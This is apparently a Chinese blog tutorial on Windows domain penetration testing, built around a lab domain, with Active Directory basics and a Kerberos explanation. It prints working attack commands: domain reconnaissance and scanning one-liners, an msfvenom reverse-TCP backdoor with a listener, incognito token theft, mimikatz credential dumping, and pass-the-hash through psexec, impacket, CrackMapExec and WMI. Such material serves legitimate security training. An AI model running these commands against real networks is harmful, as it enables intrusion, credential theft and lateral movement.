boxmoe_header_banner_img

⋅無⋅限⋅進⋅步⋅

加载中

文章导读

内网渗透


avatar
yuhui 2025年10月24日 37

内网渗透

内网基础知识

工作组

工作组是局域网中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组

用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域(Domain)是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份

域的环境

单域

通常一个小公司,一般一个域就可以,一个域内,要至少两台域服务器,一台作为域控制器,另一台当备份。

活动目录的数据库【包括用户的账号信息】是存储在域控制器中,若没备份,瘫痪了不能正常使用了!

父和子域

需要在网络中划分多个域。第一个域称为父域,其他为子域

域树

1746669708803-c15faf0c-1b6a-4f4b-892d-e72e11d6973b.png

域森林

指的是多个域树通过建立信任关系组成的集合

比如:一个公司并购其他公司

1746669721635-50a6ee9e-9f14-44bd-9953-26ef4e837a95.png

域名服务器 DNS

是指用于实现域名和与之相对应的 IP 地址转换的服务器。从对域树的介绍中来看出,域树中的域名和 DNS 域名非常相似。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。

在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的{DNS服务器和域控制器通常配置在同一台机器上}

域术语

DC:域控,域的创建者

域管理:域控上的管理员

AD 活得目录:Active Directory

NTDS.dit:域用户帐户以域数据库的形式保存在活动目录中

Ntdsutil.exe-ntdsutil.exe 是域控制器自带的域数据库管理工具,从 windowsServer 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有的域用户信息

常见结构:组织单元(OU)、域(DOMAIN)、域树(tree)、域森林(forest),在域树内的所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据

活动目录:

  • 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。

  • 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。

  • 环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。

  • 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。

  • 更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。

  • 活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。

搭建域控

1746670038479-bb3f563f-7f12-40b5-a1a5-95dca08650ea.png

1746670100985-bc4ace8f-9b4a-4237-a9bd-a31e7054626b.png

选择 Active Directory 域服务 点击下一步 点击安装

1746670110075-b26912a9-4183-43ae-9fda-43d7dc8a97f1.png

1746670114996-a28496d8-6244-45a2-b68d-5c716d5237d6.png

点击 将此服务器提升为域控制器

1746670126030-a4acdefc-b719-43d8-bbf5-bab69c660fa5.png

1746670131027-98bda9b1-80af-4b6d-a353-ac6a42a14001.png

1746670135965-a6a15f44-3c7a-490b-96c6-6488e0937025.png

1746670280396-ff72fbc0-1d27-4473-8a34-812dd9804a66.png

1746670286767-aae725a2-5ea4-455b-a67f-ed494e6479cb.png

安装成功后会自动重启服务器 输入设置的密码 即可登录

1746670296452-edbe4b37-9910-4110-9052-553c3bb6dc72.png

1746670303747-8b25df12-bc4b-40c0-9642-6694a4d2b5c0.png

现在已经在域环境下了

打开 组策略管理设置密码策略和设置口令过期时间

1746670313927-34e1b066-752f-4a0a-aa0e-23b4430908e3.png

1746670318494-637f89dd-ed9c-4802-9f4b-8d7065621e76.png

1746670326017-dc605fe5-436a-4e66-871b-8cd7a65362b0.png

1746670333268-b9be2b83-9317-49dd-9e4a-f7ee375c48be.png

不设置也没关系 密码建立的时候复杂一些,还有密码有过期时间,会影响以后的实验

更改之后就需要更新一下策略,使此策略修改生效。方法有下面 3 个:

1、等待系统自动刷新组策略,约 5 分钟~15 分钟.

2、重启域控制器(若是修改的用户策略,注销即可)

3、使用 gpupdate 命令

仅刷新计算机策略:gpupdate/target:computer

仅刷新用户策略:gpupdate/target:user

二者都刷新:gpupdate /force

计算机加入域

在 12server-dc 新建普通用户 test 密码 123456

1746670371918-009961d2-ff64-4808-beec-ca7ba7f962fd.png

设置成功后 12server-01 更改 dns 的 ip 为 12server-dc 的 ip 192.168.0.120

1746670382696-1b371262-da08-4084-98ed-8770ace50dbe.png

选择我的电脑 设置隶属域 moonsec.fbi 确定重启即可

1746670393751-a1b2a1f0-6d32-4970-a068-f10df29543d1.png

确定后 系统提示输入账号和密码,输入刚才的 test 123456 即可

1746670403335-10582e56-edc1-4339-a106-a19d09c03211.png

1746670409533-4fed964d-89d7-4836-8596-23f9565a3762.png

加入成功后 系统提示你重启。 重启后输入 moonsectest 即可登录域 moonsec 用户是 test 输入密码 123456 即可

1746670420525-a686986a-3208-4435-8e2c-917a3f3f2468.png

1746670425391-48728e40-77d3-41fa-830a-35e0fa2e6386.png

至此域环境已经搭建成功

域信息收集命令

query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表 第二
个查的更多
net view /domain 查看有几个域
net view \\dc 查看 dc 域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,
本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain
net config workstation 当前登录域 - 计算机名 - 用户名
net use \\域控(如 pc.xx.com) password /user:xxx.comusername 相当于这个
帐号登录域内主机,可访问资源
ipconfig
systeminfo
tasklist /svc
tasklist /S ip /U domainusername /P /V 查看远程计算机 tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -ano
nltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 级别和 sid 号
net sessoin 查看远程连接 session (需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn 记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称 windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a

查询当前环境

1746670473749-883425c7-7b91-4ba7-b7d9-a13ed772cc1f.png

net user /domain 查询当前域用户

1746670483009-dd60133f-e904-4e79-9096-e93d6024db6b.png

net time 查询 域控

1746670492894-7a4667a0-eea7-45ad-aa07-640b98b0f556.png

net group /domain 查询域工作组

1746670501777-b3ee0878-f254-44ef-bf09-022cb79f3830.png

net group "domain admins" /domain 查询域管理用户

1746670515221-2c2cbde3-1103-4589-90dc-29906b54309d.png

net group "Domain controllers"查询有几台域控制器 需要域权限

1746670524973-a2939d2e-40ad-4b8a-8826-490b9a87db38.png

查找域服务器

net time 查询时间 这个命令会请求域服务器的时间

1746670547427-bfec239d-cc19-40a4-a632-099567a4b0cc.png

net config workstation 查看当前工作环境

1746670556493-6525a358-5ce0-428b-91ed-fdd4d3d0654e.png

nltest /dclist:moonsec 查询域控

1746670564401-5a1fb584-f822-458f-9eba-0b007e113f3b.png

ping/nslookup 查找域控

ping 12server-dc.moonsec.fbi

1746670581509-962bca1b-e412-44ff-8a36-79fb1bc6bd5c.png

nslookup 12server-dc.moonsec.fbi

1746670592961-13a55e9a-bf88-4d81-a30b-4f276aeabe83.png

主机发现

在域内进行横行渗透时,首先要收集主机的端口和 ip 信息

net view /domain 查询域内的主机信息

发生系统错误 6118 出现这种错误时 Computer Browser 被禁用了 在域管理启用即可

1746670612014-ada13c07-55cd-4601-9e91-329b88b32d02.png

net view /domain:moonsec

1746670625954-95962ce0-fa56-49f1-aa1a-3eba0ef00937.png

arp -a 查询通信

1746670634520-a5f160db-fa12-4943-8f42-9251ddc9ef23.png

nbtscan 发现主机

nbtscan.exe -r 192.168.0.0/24

1746670645328-28d992ca-bfde-47f9-b0ec-24e25631d7d8.png

bat 命令发现主机

for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="

1746670654289-bb9632ac-c9db-4261-8b04-134d27342e21.png

通过 powershell 脚本扫描 IP 地址存活:

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSwee
p.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.
1.255"

针对单个 IP 的多个端口的扫描:

PS C:UsersBypass> 1..1024 | % {echo ((new-object Net.Sockets.TcpClien
t).Connect("192.168.246.44",$_)) "Port $_ is open!"} 2>$null

针对某 IP 段中单个端口的扫描

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "
Detailed" 192.168.1.$ip}

针对某 IP 段 & 多个端口的扫描器

1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClie
nt).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

基于 MSF 的内网主机探测

使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描

主机存活探测:

auxiliary/scanner/discovery/arp_sweep ARP 扫描
auxiliary/scanner/discovery/udp_sweep UDP 扫描
auxiliary/scanner/netbios/nbname NETBIOS 扫描
auxiliary/scanner/snmp/snmp_enum SNMP 扫描
auxiliary/scanner/smb/smb_version SMB 扫描

端口扫描:

auxiliary/scanner/portscan/ack TCP ACK 端口扫描
auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描
auxiliary/scanner/portscan/syn SYN 端口扫描
auxiliary/scanner/portscan/tcp TCP 端口扫描
auxiliary/scanner/portscan/xmas TCP XMas 端口扫描

nmap

Nmap 是一个端口扫描器,可用于主机发现、端口扫描、版本检测、OS 检测等。

使用场景:建立 socks 代理,proxychains+Nmap 扫描内网。

支持多种扫描模式:

-sT: TCP 扫描
-sS: SYN 扫描
-sA: ACK 扫描
-sF:FIN 扫描
-sU: UDP 扫描
-sR: RPC 扫描
-sP: ICMP 扫描

快速扫描所有端口:

nmap -sS -p 1-65535 -v 192.168.99.177

常见端口与服务

端口号 端口说明 攻击技巧
21/22/69 ftp/tftp:文件传输协议爆破嗅探溢出后门
22 ssh:远程连接 爆破 OpenSSH;28 个退格
23 telnet:远程连接 爆破嗅探
25 smtp:邮件服务 邮件伪造
53 DNS:域名系统 DNS 区域传输DNS 劫持DNS 缓存投毒DNS欺骗利用 DNS 隧道技术刺透防火墙
67/68 dhcp 劫持欺骗
110 pop3 爆破
139 samba 爆破未授权访问远程代码执行
143 imap 爆破
161 snmp 爆破
389 ldap 注入攻击未授权访问
445 SMB 远程代码执行
512/513/514 linux r 直接使用 rlogin
873 rsync 未授权访问
1080 socket 爆破:进行内网渗透
1352 lotus 爆破:弱口令信息泄漏:源代码
1433 mssql 爆破:使用系统用户登录注入攻击
1521 oracle 爆破:TNS注入攻击
2049 nfs 配置不当
2181 zookeeper 未授权访问
3306 mysql 爆破拒绝服务注入
3389 rdp 爆破Shift 后门
4848 glassfish 爆破:控制台弱口令认证绕过
5000 sybase/DB2 爆破注入
5432 postgresql 缓冲区溢出注入攻击爆破:弱口令
5632 pcanywhere 拒绝服务代码执行
5900 vnc 爆破:弱口令认证绕过
6379 redis 未授权访问爆破:弱口令
7001 weblogic Java 反序列化控制台弱口令控制台部署webshell
80/443/8080 web 常见 web 攻击控制台爆破对应服务器版本漏洞
8069 zabbix 远程命令执行
9080 websphere 远程命令执行
9090 websphere 控制台 爆破:控制台弱口令Java 反序列
9200/9300 elasticsearch 远程代码执行
11211 memcacache 未授权访问
27017 mongodb 爆破未授权访问

域渗透思路

通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网

内网渗透 Token

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击

令牌有很多种:

• 访问令牌(Access Token):表示访问控制操作主体的系统对象

• 会话令牌(Session Token):是交互会话中唯一的身份标识符

• 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾

Windows 的 AccessToken 有两种类型:

• Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)

• Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use访问共享文件夹)。

注: 两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。

AccessToken 的窃取与利用

AccessToken 的窃取与利用需要 administrator 管理员权限。也就是说要提权。

窃取 AccessToken 的方法:

incognito.exe 程序 、InvokeTokenManipulat.ps1 脚本 、MSF 里的 incognito 模块

incognito

程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

AccessToken 的列举(需要 administrator 权限)

incognito.exe list_tokens -u

1746671109840-6b777880-7fb4-4999-ab6b-4e82e092bd80.png

操作:模拟其他用户的令牌(复制 token)**

如果要使用 AccessToken 模拟其他用户,可以使用命令

incognito.exe execute -c "完整的 Token 名" cmd.exe

例如:模拟 system 权限用户(提权至 system):

incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe

降权至当前用户:

incognito.exe execute -c "当前用户 token" cmd.exe

获取域普通用户

incognito.exe execute -c "moonsectest" cmd.exe

1746671124930-5e6c6c52-55ab-4467-a29d-75e21ac3a4ba.png

MSF 下的 incognito 模块

use incognito #加载 incognito

list_tokens -u #列出 AccessToken

getuid #查看当前 token

impersonate_token "NT AUTHORITYSYSTEM" #模拟 system 用户,getsystem 命令

即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可

steal_token 1252 #从进程窃取 token

getsystem #提升至 system 权限

rev2self #返回到之前的 AccessToken 权限

msf 令牌实战

msf 生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.1
68.0.115 -f exe -o msf.exe

监听端口

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 6666
exploit

1746671169090-ac607647-b04b-4ad6-adfb-b9b277a67779.png

use incognito #进入 incognito 模块
list_tokens -u #列出令牌

列出两种令牌

• Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程

桌面登录访问)

• Impresonation Token:模拟令牌,它是非交互的会话。

伪造令牌

mpersonate_token 12SERVER-01Administrator #假冒 12server-01adminst
rator 的令牌
impersonate_token moonsec\test #假冒 moonsectest
的令牌
impersonate_token "NT AUTHORITYSYSTEM" #假冒 System 的令牌

1746671199539-addeff2d-3ba7-48af-aaa5-fccaf94b4c7b.png

除了可以伪造令牌 也可以从进程里窃取令牌 首先使用 ps 命令列出进程 查看进程

用户使用 steal_token pid 窃取令牌就有对应的权限

1746671214284-3ffb0f5e-2bb3-4911-95be-3a0413736008.png

从进程窃取令牌

steal_token PID

1746671225529-5aca21b3-1fdb-430e-bf63-f15610b0f50d.png

返回之前的 token

rev2self

1746671236707-6322147d-d2d3-4b6f-9ddb-5de8d63a3a8a.png

横向渗透

PTH(pass-the-hash) HASH 传递

pass the hash 原理:

• 在 Windows 系统中,通常会使用 NTLM 身份认证

• NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)

• hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LMhash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LMhash

• 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用API 生成 hash 的过程)

这类攻击适用于:

• 域/工作组环境

• 可以获得 hash,但是条件不允许对 hash 爆破

• 内网中存在和当前机器相同的密码

微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号仍可以进行 Pass The Hash 远程 ipc 连接。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。

从 windows 到 windows 横向 pth 这一类攻击方法比较广泛

mimitkaz pth

privilege::debug
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

1746671469636-c1529008-1509-4785-b395-4d73fd21b509.png

得到 hash 后进行

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4

1746671488250-519e37a1-5d53-46a6-9db6-1c76ff4ee63e.png

成功后 会弹出终端 cmd

psexec

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议

psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递

PsExec64.exe /accepteula /s \192.168.0.123 -u Administrator -p 123456 cmd

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框

-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell

直接直接执行回显

-u 域用户名

-p 密码

PsExec.exe /accepteula /s \192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"

1746671575274-00239098-3f58-4f7f-879c-1300cff0a17b.png

1746671580530-96550781-504e-46e5-a773-4647e443ebfd.png

1746671585586-0ea5838b-1d90-4a2e-8b2f-72b7c4d912db.png

上面是建立在明文之上 下面 hash 下进行登录

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

1746671602303-084695d4-3423-4c76-bd95-7ec5b5657022.png

出现这个错误可以使用 impacket 这个工具包下的 psexec 进行利用

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

1746671625745-a21486b2-1ea9-4f1e-aac3-c7dbd96ab5a0.png

在使用 PsExec 时需要注意以下几点:

• 需要远程系统开启 admin$ 共享(默认是开启的)

• 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口

• 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。

• 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

• 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell

• 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递

登陆域管理命令

impacket 下的 psexec

python3 psexec.py moonsec/Administrator@192.168.0.142

执行命令后输入密码

登陆其他主机管理员

psexec /accepteula /s 12server1 -u Administrator -p 123456 cmd

使用 msf hash 模块

use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

1746671666503-771b1022-5f93-46bd-adc6-3cb0ec8aa443.png

CrackMapExec

CrackMapExec 可以对 C 段中的主机进行批量 pth,项目地址:

https://github.com/byt3bl33d3r/CrackMapExec.git

使用命令:

crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4

对 192.168.9.0/24 C 段进行批量 pass the hash

1746671695778-b01499dc-1a78-4ff0-835f-87116789b6ee.png

WMI

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些

wmic 命令

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:ip.txt"

1746671799055-7a44dadc-17a9-4061-aa52-2f9d6dca503f.png

之后建立 IPC$ ,使用 type 读取执行结果

net use \192.168.0.123ipc$ "123456" /user:administrator 
type \192.168.0.123c$ip.txt

1746671824380-27212508-babd-4dad-85f3-74b0f21b8219.png

wmiexec.py

在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell

其他攻击手法可以看下 readme,这里只简单的对 pth 做一下实验:

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami"

wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash

00000000000000000000000000000000 这个部分可以随便填写

1746671858456-ffeb5a6d-75de-4d08-a0b7-d89fec29f1e0.png

wmiexec.py 明文获取 shell

python3 wmiexec.py administrator:123456@192.168.0.123

1746671873620-25b468d8-99f0-4a62-9633-d580a579f74d.png

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

cscript //nologo wmiexec.vbs /shell 192.168.0.123 administrator 123456

1746671898166-7b58672c-9986-4ed0-8b65-b525ee85c173.png

使用 vmiexec.vbs 执行单条命令

cscript wmiexec.vbs /cmd 192.168.0.123 administrator 123456 "ipconfig"

1746671914732-d4b734aa-8b87-4a39-b1b5-80ffc7a4d769.png

Invoke-WmiCommand

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用

Powershell 调用 WMI 来远程执行命令。

在 Powershell 中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .Invoke-WmiCommand.ps1
# 指定目标系统用户名
$User = ".administrator"
# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential
-ArgumentList $User,$Password
# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -Comp
uterName 192.168.0.123
# 将执行结果输出到屏幕上
$Remote.PayloadOutput

1746671941691-07fcf998-4d1c-43e5-95db-eadf4de5ea93.png

Invoke-WMIMethod

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序

# 指定目标系统用户名
$User=".administrator"
# 指定目标系统密码
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -A
rgumentList $User,$Password
# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.
exe" -ComputerName "192.168.0.123" -Credential $Cred

1746671970434-c1a824d3-81fb-4dfc-a9b9-f0427c82baef.png

可以看到 目标 192.168.0.123 上已经执行了 calc

wmic 的其他命令

使用 wmic 远程开启目标的 RDP

# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_
terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改
为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE
WHERE ServerName='计算机名' call SetAllowTSConnections 1
或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process c
all create 'cmd.exe /c REG ADD "HKLMSYSTEMCurrentControlSetControlT
erminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

1746672006083-98781ca8-1a46-491e-9ca7-befbc8bcebf4.png

1746672011092-5fab4892-d485-4018-9af0-5195f537b064.png

可以看到目标上的远程终端已经开启。

判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServer" /v fDenyTSConnections

1746672033496-34a9c906-f097-4110-baa2-a839fc2516c5.png

远程重启机子

wmic /node:192.168.0.141 /user:administrator /password:123456 process c
all create "shutdown.exe -r -f -t 0"

PTT 票据传递攻击(Pass the Ticket)

Kerberos 协议& Kerberos 认证原理

1746672069761-20926c88-7758-4b6d-ad7c-2c4b8f3feddf.png

1746672159812-45e9a6e3-7d86-452f-9038-3e1d4a337d0d.png

Kerberos 协议是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。

你需要先了解以下几个关键角色:

角色                                                  作用
Domain Controller                       域控制器,简称 DC,一台计算机,实现用户、计算机的统一管理。
Key Distribution Center             秘钥分发中心,简称 KDC,默认安装在域控里,包括 AS 和 TGS。
Authentication Service              身份验证服务,简称 AS,用于 KDC对 Client 认证。
Ticket Grantng Service              票据授予服务,简称 TGS,用于KDC 向 Client 和 Server 分发
Session Key                                     (临时秘钥)。
Active Directory                            活动目录,简称 AD,用于存储用户、用户组、域相关的信息。
Client                                              客户端,指用户。
Server                                              服务端,可能是某台计算机,也可能是某个服务。

打个比方:当 whoami 要和 bunny 进行通信的时候,whoami 就需要向 bunny 证明自己是 whoami,直接的方式就是 whoami 用二人之间的秘密做秘钥加密明文文字生成密文,把密文和明文文字一块发送给 bunny,bunny 再用秘密解密得到明文,把明文和明文文字进行对比,若一致,则证明对方是 whoami。

但是网络中,密文和文字很有可能被窃取,并且只要时间足够,总能破解得到秘钥。所以不能使用这种长期有效的秘钥,要改为短期的临时秘钥。那么这个临时秘钥就需要一个第三方可信任的机构来提供,即 KDC(Key Distribution Center)秘钥分发中心。

Kerberos 认证原理

1746672305677-f6790584-328b-4481-bb40-139d9b9fea90.png

  1. 首先 Client 向域控制器 DC 请求访问 Server,DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信。

  2. 认证通过后返回 TGT 给 Client,Client 得到 TGT(Ticket GrantingTicket)。

  3. Client 继续拿着 TGT 请求 DC 访问 Server,TGS 通过Client 消息中的 TGT,判断 Client 是否有访问权限。

  4. 如果有,则给 Client 有访问 Server 的权限 Ticket,也叫 ST(ServiceTicket)。

  5. Client 得到 Ticket 后,再去访问 Server,且该 Ticket 只针对这一个 Server有效。

  6. 最终 Server 和 Client 建立通信。

下面讲一下详细的认证步骤,大概分为三个阶段:

• ASREQ & ASREP

• TGSREQ & TGSREP

• AP-REQ & AP-REP

ASREQ & ASREP

该阶段是 Client 和 AS 的认证,通过认证的客户端将获得 TGT 认购权证

1746672411042-46d9dcb6-8a57-4c6c-ad69-1c8f360859db.png

当域内某个客户端用户 Client 视图访问域内的某个服务,于是输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个 AS_REQ 认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息

当 Client 发送身份信息给 AS 后,AS 会先向活动目录 AD 请求,询问是否有此Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对 AS_REQ 请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在五分钟之内,则预认证成功。然后 AS 会生成一个临时秘钥 Session-Key AS,并使用客户端 Client 的 NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此Session-key AS 用于确保客户端和 KGS 之间的通信安全。

还有一部分内容就是 TGT:使用 KDC 一个特定账户的 NTLM-Hash 对 Session-keyAS、时间戳、Client-info 进行的加密。这个特定账户就是创建域控时自动生成的Krbtgt 用户,然后将这两部分以及 PAC 等信息回复给 Client,即 AS_REP。PAC 中包含的是用户的 SID、用户所在的组等一些信息。

AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀,Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和TGT,因此可以相互转化。

至此,Kerberos 认证的第一步完成

TGSREQ & TGSREP

该阶段是 Client 和 TGS 的认证,通过认证的客户端将获得 ST 服务票据

1746672488697-4d081a4b-b382-423f-ae90-473596d4bbaa.png

客户端 Client 收到 AS 的回复 AS_REP 后分别获得了 TGT 和加密的 Session-Key AS。它会先用自己的 Client NTLM-hash 解密得到原始的 Session-Key AS,然后它会在本地缓存此 TGT 和原始的 Session-Key AS,如果现在它就需要访问某台服务器上的服务,他就需要凭借这张 TGT 认购凭证向 KGS 购买相应的 ST 服务票据(也叫Ticket)。

